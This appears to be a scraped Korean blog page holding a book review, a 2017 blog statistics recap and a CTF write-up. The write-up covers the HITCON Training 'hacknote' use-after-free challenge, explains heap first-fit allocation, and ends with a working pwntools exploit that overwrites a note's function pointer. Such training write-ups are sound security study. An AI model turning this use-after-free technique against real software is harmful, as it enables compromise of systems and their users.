올해다짐했던 책리뷰 포스팅을 처음으로 시도해봅니다. 처음이니만큼 글의 구성을 어떻게 해야할 지 막막하지만.. 

늘 그랬듯이 써지는대로, 그냥 마음대로 써보려고 합니다. 책리뷰 그 첫 번째 책은 채사장님의 시민의 교양입니다.


1. 읽게된 계기..

팟캐스트 "지적 대화를 위한 넓고 얕은 지식" 을 즐겨 들으며 자연스레 채사장님을 알게 되었습니다. 제목처럼 다양한 지식들을 얕게 한번 파보는 

팟캐스트인데요, 이 내용들을 정리한 책도 있답니다.


저는 두 책 중에 왼쪽에 있는 1편밖에 읽어보지 못했습니다. 역사, 경제, 정치, 사회, 윤리에 대해 말하고 있는 이 책은 이해하기 쉽도록 

구성이 되어있습니다. 적절한 예시와 단순한 설명으로 정말 마음에 들었던 책이였죠. 


이후 채사장님이 쓰신 책들은 다 읽어볼 가치가 있겠다 싶어 그즈음 신간이였던 "열한 계단"을 읽었고 자연스럽게 '시민의 교양도 꼭 읽어봐야지' 라는 

생각이 들어 읽어보게 되었습니다.  이 글을 쓰는 지금은 "우리는 언젠가 만난다" 를 읽고 있는 중입니다. 아마 다음 포스팅 책이 되지 않을까 하고 

생각하고 있습니다.


2. 내용

사회는 굉장히 복잡한 이해관계 속에서 다양한 상황이 일어나기 때문에 쉽게 이해 할 수 없습니다. 이러한 이해관계는 어떻게 발생하였으며 

어떤식으로 드러나게 될까요? 아마 이 책을 읽기 전이었다면 추상적이고 두루뭉술한 이야기를 하였거나, 잘 모르겠다. 라는 대답을 했을 것 같습니다.


이 책은 세금, 국가, 자유, 직업, 교육, 정의, 미래의 카테고리를 가지고 세상을 보다 단순하게 바라볼 수 있는 시야를 가지게 해주었습니다. 그리고 언론 혹은 정치인들이 사용하던 어휘나 말들의 참 뜻에 대해서 조금은 이해 할 수 있게 된 것 같습니다. 

가장 인상 깊었던 카테고리를 두 가지 정도 뽑아보자면 바로 직업교육입니다.


- 직업

세상에 수 많은 직업이 있지만 이 책에서는 단 네 가지로 나누어 설명해줍니다. 


투자가, 자본가, 비임금노동자, 임금노동자


각 직업이 어떻게 발생을 하였는 지 어떤면에서 유리하고 어떤 부분에서 불리한 지에 대해 역시 단순한 예시와 쉬운 설명으로 이해를 도와줍니다.

이 카테고리가 인상깊었던 이유는 도입부에 있습니다. 비서실장과 시민의 대화에서 직업의 본질에 대해서 이야기 하는 부분이였는데요, 


시민은 직업을 선택 할 때 흔히 잘하는 일 혹은 좋아하는 일에 따라 고민을 한다라고 생각하지만 "산업화 사회에서 그런건 없다." 라고 이야기 합니다. 

그리고 이어서 "운동화 생산라인에서 일하는 사람은 좋아하는 일을 선택한 것입니까 잘하는 일을 선택한 것입니까?" 라는 질문을 던집니다. 


이 문장을 읽고 정말 많은 생각을 하게 되었습니다. 그리곤 직업이란 개념에 대해서 내가 뭔가를 놓치고 있구나 라고 생각하게 되었죠. 

요즘은 잘 모르겠습니다만, 제가 초등학교에 다니던 시절 학교에서 직업에 대해서 설명할 때 크게 두 가지 의미를 갖는다고 배웠던 것 같습니다. 


소득. 

자아실현의 의미.


오늘 날 구조에서 과연 직업이 저러한 의미를 갖는가? 에 대해 진지하게 고민을 하게되었습니다.


- 교육

교육 카테고리에서는 무엇을 어떻게 가르칠 것인가? 에 대한 내용을 다룹니다. 그리고 덴마크의 교육제도에 대해 설명한 부분도 재미있게 읽었습니다. 

여기서 인상 깊었던 점은 경쟁의 정당성에 대해 이야기 한 부분입니다. 우리나라는 교육을 통해 경쟁이 자연스럽게 학습되고 그 결과를 받아들이는 것 또한 정당한 것으로 학습시킵니다. 결과적으로 사회의 구조적인 문제로 발생한 문제 또한 경쟁에서 밀려났기때문이라고 생각하게끔 만들죠.


우리나라 내신제도에서 중간 정도 등수를 기록한 학생은 내신 5등급을 받게 됩니다. 내신 5등급을 받은 학생은 흔히들 이야기하는 sky를 포함한 "인서울"로 표현되는 대학들을 가지 못하게됩니다. 그리고 그 영향을 받아 취업경쟁에서도 대기업을 가기 힘들어집니다.

우리나라 경제인구를 100명으로 줄을 세웠을 때 경제소득순위 50등에 있는 사람의 연봉은 1074만원으로 한달에 90만원 정도가 됩니다. 물론 내신 5등급을 받은 학생이 반드시 연봉 1074만원을 받게되는 것은 아니겠지만, 분명 큰 영향을 받게 되는 것은 인정할 수 밖에 없죠.


이 책과 같이 제가 말하고자 하는 것은 중간정도의 노력을 한 사람이 중간정도의 소득을 얻지 못하는 현상은 사회의 문제로 봐야할 것이지 당연히 경쟁에서 밀렸기 때문으로 치부할 수 없다는 것입니다. 이러한 문제에 대해 여러분은 어떻게 생각하시나요?


3. 마무리..

이 책을 읽기 전과 후 사회를 보는 시야가 많이 바뀐 것 같다고 스스로 생각이 듭니다. 비교적 좀 더 단순하게 보고 이해하게 될 수 있게 되었으며, 

생각해 볼 거리가 많이 늘어났습니다. 세금, 국가, 자유, 직업, 교육, 정의, 미래에 대해 막연하고 어렵게 느껴지신다면 

꼭 한번 읽어 보셨으면 좋겠습니다.


쉽고 간단하게 그러나 중요한 것은 놓치지 않는 선에서 잘 설명을 해놓은 책이니까요. 


'일상 > BooK' 카테고리의 다른 글

라틴어 수업 - 나는 공부하는 노동자입니다.  (0) 2018.03.22
죄와 벌  (0) 2018.02.26
우리는 언젠가 만난다.  (0) 2018.01.15

tistory에서 2017년 결산을 내준다기에 해본 결과입니다.


1. 많이 언급한 단어



기존에 포스팅 한 글들을 파싱해서 자주 사용한 단어들을 뽑아주나보네요ㅋㅋ

역시 포스팅한 글들의 성격이 확연히 드러나는 것 같습니다.



2. 총 방문자 수

올해엔 총 8622명이 방문을 해주셨네요 ~

요즘 일평균 글을 올리지 않았을 때는 30~40명 정도 방문을 해주고 계시고

글을 올린 날은 100명 내외 정도 방문 해주시는 것같습니다.

조만간 블로그 토탈 방문자 수가 조만간 13000명을 넘을 것 같습니다! 핳


올해에도 열심히 포스팅 할테니 많이 들러주세요 ~

특히 올해에는 책을 읽고 난 후기도 포스팅을 해볼 예정이랍니다 !

그럼 이만 뿅~


'Study > ETC' 카테고리의 다른 글

Zip file구조  (2) 2016.10.27
Google I/O 2016 Extended Seoul 정리 및 후기  (4) 2016.06.19
Arpspoofing  (0) 2015.10.16
실전 악성코드와 멀웨어 분석 Lab03_03.exe  (0) 2014.09.01
실전 악성코드와 멀웨어 분석 Lab03-02.dll  (0) 2014.08.29

1. 시작하기전에...

이번 문제를 풀면서 할당된 heap메모리의 해제, 그리고 재할당에 대하여 조금 알게 되었습니다.

여전히 힙알못이라ㅠㅠ heap에 대해 알아가야 할 것들이 많은 것 같네요.. 


이번 포스팅에서 살펴볼 것은 heap의 First Fit과 Use After Free에 대한 내용입니다. 이번 문제의 HITCON Training의 부제가 UAF(Use After Free)여서

간단할 거라고 생각했다가 First Fit개념을 몰라서 한참 해맸습니다.


1-1. First Fit

First Fit을 이해하기 위한 선행지식이 조금 있지만 여기서는 많이 후려쳐서(?) 설명을 해보겠습니다.

먼저, heap의 할당과 해제를 효율적으로 하기위해 해제된 메모리를 핸들링하는 리스트들이 있습니다. 이 리스트들은 메모리 덩어리(chunk)들의 크기에 따라 다양하게 있지요. 자세한건 뒷 포스팅으로 넘기고.. 우선 그런 리스트들이 있다 정도만 인지하고 갑시다.


이 리스트는 새롭게 메모리가 해제될 때마다 tail쪽, 그러니까 리스트의 끝 쪽으로 삽입이 됩니다. 그리고 메모리 할당 요청이 오면 head쪽에서 부터 적당한

메모리가 있는지 검색을 해서 내어주게 됩니다.


char *a = malloc(20);     // 0xe4b010
char *b = malloc(20);     // 0xe4b030
char *c = malloc(20);     // 0xe4b050
char *d = malloc(20);     // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20);           // 0xe4b070
b = malloc(20);           // 0xe4b050
c = malloc(20);           // 0xe4b030
d = malloc(20);           // 0xe4b010

이런 코드가 있을 때, 아래와 같은 순서가 된다는 것이지요.


  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'b' 메모리 해제

    head -> b -> a -> tail

  3. 'c' 메모리 해제

    head -> c -> b -> a -> tail

  4. 'd' 메모리 해제

    head -> d -> c -> b -> a -> tail

  5. 'malloc' 요청

    head -> c -> b -> a -> tail [ 'd' is returned ]

  6. 'malloc' 요청

    head -> b -> a -> tail [ 'c' is returned ]

  7. 'malloc' 요청

    head -> a -> tail [ 'b' is returned ]

  8. 'malloc' 요청

    head -> tail [ 'a' is returned ]


그리고, 아래와 같은 특징도 있습니다.


char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150

free(a);

a = malloc(250);          // 0x***010
  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'malloc' 요청

    head -> a2 -> tail [ 'a1' is returned ]


300바이트가 할당된 a가 해제 된 후 250바이트 요청이 들어왔습니다.

리스트에 300바이트짜리 a가 들어있었는데 250바이트가 요청 들어온 상황인데요, 이럴 때엔 300바이트의 공간이 a1과 a2로 쪼개져서 250바이트를 리턴해주고, 50바이트짜리 a2가 리스트에 남게 됩니다. 사이즈가 같으면 a가 통째로 리턴되고요. 단, 20바이트 이하인 경우에는 따로 핸들링이 되기 때문에(fastbin) 이 내용은 해당하지 않습니다.


이 순서와 과정 자체는 취약점이 아니라 리눅스에서 heap메모리를 핸들링하는 과정일 뿐입니다. 다만, 이런 로직을 알고 있어야 heap 공격을 할 수있겠죠.


[참고사이트] https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html

위 참고 사이트는 first_fit뿐만이 아니라 heap의 전반적인 내용, heap exploitation이 상세히 설명되어있습니다.  

 

1-2. Use After Free

UAF는 말그대로 "메모리 해제를 한 다음에 사용을 한다" 는 이야기 입니다.

메모리 해제를 한 후에 그 heap공간을 보면 0이라던지 NULL과 같은 값으로 초기화 되지 않고 전에 사용했던 값이 그대로 남아 있습니다.

실수로 짜여져 로직 상 어떠한 이유로 해제 된 이후 그 공간을 재사용한다면, 의도치 않은 행위 혹은 값을 쓰게 됩니다.

자세한 설명은 아래 참고 사이트에 저어어어엉말 잘 설명되어있습니다.


[참고사이트] https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/  



2. 분석

그럼 문제를 살펴볼까요? hacknote.c에 대한 내용입니다. 이번 문제는 코드의 양이 많아 주요 부분만 잘라서 보도록하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[4];
    while(1){
        menu();
        read(0,buf,4);
        switch(atoi(buf)){
            case 1 : 
                add_note();
                break ;
            case 2 : 
                del_note();
                break ;
            case 3 : 
                print_note();
                break ;
            case 4 : 
                exit(0);
                break ;
            default :
                puts("Invalid choice");
                break ;
 
        }
    }   
    return 0;
}
cs


우선 메인입니다. 메뉴를 프린트 해주고 선택받은 메뉴번호(1~4)에 따라 노트추가, 노트 삭제, 노트 출력 등의 기능을 하는 함수를 호출하고있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct note {
    void (*printnote)();
    char *content ;
};
 
struct note *notelist[5];
 
void add_note(){
    int i ;
    char buf[8];
    int size ;
    if(count > 5){
        puts("Full");
        return ;
    }
    for(i = 0 ; i < 5 ; i ++){
        if(!notelist[i]){
            notelist[i] = (struct note*)malloc(sizeof(struct note));
            if(!notelist[i]){
                puts("Alloca Error");
                exit(-1);
            }
            notelist[i]->printnote = print_note_content;
            printf("Note size :");
            read(0,buf,8);
            size = atoi(buf);
            notelist[i]->content = (char *)malloc(size);
            if(!notelist[i]->content){
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");
            read(0,notelist[i]->content,size);
            puts("Success !");
            count++;
            break;
        }
    }
}
cs


note구조체와 이 구조체들을 핸들링하기위한 전역변수 배열(notelist)이 있습니다.

note구조체에는 내용을 프린트 하는 printnote()의 주소를 담을 함수포인터 변수와, 노트의 내용이 적힐 문자열 포인터content 변수가 있네요.


addnote()함수를 살펴보면 먼저, 최대 갯수인 5개를 넘는지 count검사를 합니다. 5개를 초과하려고하면 더이상 추가를 안해주죠

count가 5개 이하면 노트를 추가하는데 로직은 아래와 같습니다.


1) for문(0 to 4)을 돌면서 비어있는 notelist의 공간을 찾는다.

2) 비어있는 notelist를 찾았다면, 그 공간에 note구조체 만큼 사이즈를 할당한다.

3) 할당한 note구조체의 printnote 함수포인터에 print_note_content 주소를 넣어준다.

4) 노트 사이즈를 입력받고 그 사이즈만큼 note구조체의 content에 메모리할당을 해준다.

5) content를 사이즈만큼 입력받아 써주고 전체 노트의 갯수인 count를 1 증가시켜준다.


뒤에서 한번 더 말씀드리겠지만 여기서 눈여겨 보실 곳은 3번과 4번입니다. 메모리 할당 순서에 대해 기억해주세요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void del_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        free(notelist[idx]->content);
        free(notelist[idx]);
        puts("Success");
    }
}
cs


다음은 노트를 지우는 del_note입니다. 노트를 지우는 것이니 메모리 해제가 있겠죠?

간단히 삭제할 노트의 index를 입력받고 index가 유효한지 검사합니다. 그리고 해당 index에 노트가 들어있다면

노트의 content를 해제하고나서 notelist에 할당되어있는 note구조체를 해제합니다.


먼저, 노트 다섯개가 모두 할당 되어 있는 형태를 그려봅시다.

대략 이런 모습이겠죠? 전역변수로 선언되어 있는 배열 notelist가 각각 heap에 동적으로 할당된 notel들의 주소를 하나씩 가지고 있을 거에요

그리고 그 노트의 print함수의 주소는 같은 값이겠지만, 4바이트의 함수의 주소를 가지고 있을 테고 다음 4바이트는 content의 주소를 가지고 있겠지요.

구조체의 사이즈는 총 8바이트가 될거에요.


여기서 예를 들어 notelist[0]을 메모리 해제하면 어떤 일이 일어날까요? 바로 위에서 본 del_note()의 메모리 해제 순서와 first fit을 생각해봅시다.

del_note()에서 메모리해제는 content를 해제하고나서 구조체를 해제했죠? 그리고 first fit에는 어떻게 추가 될까요?


head -> notelist[0] -> notelist[0]`s content -> tail


이런 형식으로 리스트에 메모리 공간이 추가가 될거에요.

여기서 한번 더 notelist[1]을 해제하면??


head -> notelist[1] -> notelist[1]`s content -> notelist[0] -> notelist[0]`s content -> tail


해제 순서에 따르면 리스트는 저렇게 유지가 되고 있을거에요. 메모리 사이즈까지 적어서 한번 다시 봅시다.


head -> notelist[1] (8byte) -> notelist[1]`s content (?) -> notelist[0] (8byte) -> notelist[0]`s content (?) -> tail



자, 이 상태에서 하나의 노트를 추가 한다고 해봅시다. 사이즈는 8바이트로요! 왜 하필 8바이트일까요?

그건 notelist[0]의 자리에 원하는 값을 쓰기 위함입니다.


add_note()를 다시 따라가 봅시다. 새로 생성되는 note는 구조체 메모리 만큼(8바이트) 할당을 받아요.

그럼 위 리스트의 head쪽에 가까운 8바이트를 할당 받겠죠? 거기가 어디냐면 notelist[1]의 구조체가 있던 자리에요.

거기에 새로운 구조체가 할당 받아 질거에요. 그리고 한번 더 8바이트 만큼 요청하면 notelist[0]가 있던 곳의 8바이트를 할당 받겠죠.


바로 요 모습이 될거에요. 이제 감이 슬슬 잡히죠. 새롭게 할당 된 content자리는 notelist[0]이 할당되어 있던 자리이고, 앞의 4바이트는 notelist[0]의 내용을 print해주는 함수의 주소가 있던 자리이지요.


그렇담, 저기에 원하는 함수의 주소를 써넣은 후 notelist[0]를 print한다면 원하는 함수를 호출 할 수 있게 됩니다.



3. exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process("./hacknote")
 
 
def addnote(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
 
def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
magic = 0x08048986
addnote(24,"JSbach")
addnote(24,"uisoo")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
 
log.info(p.recv())
cs


분석란에서 설명한 로직을 그대로 exploit코드로 옮겼습니다.

처음엔 24바이트씩 두번 노트를 생성하고 해제를 0번, 1번 순서대로 메모리를 해제했습니다.

그리고 8바이트 크기로 한번더 노트를 생성할 때 content에 우리의 목표인 magic함수의 주소를 써주어 exploit에 성공했습니다.



끗!



+ Recent posts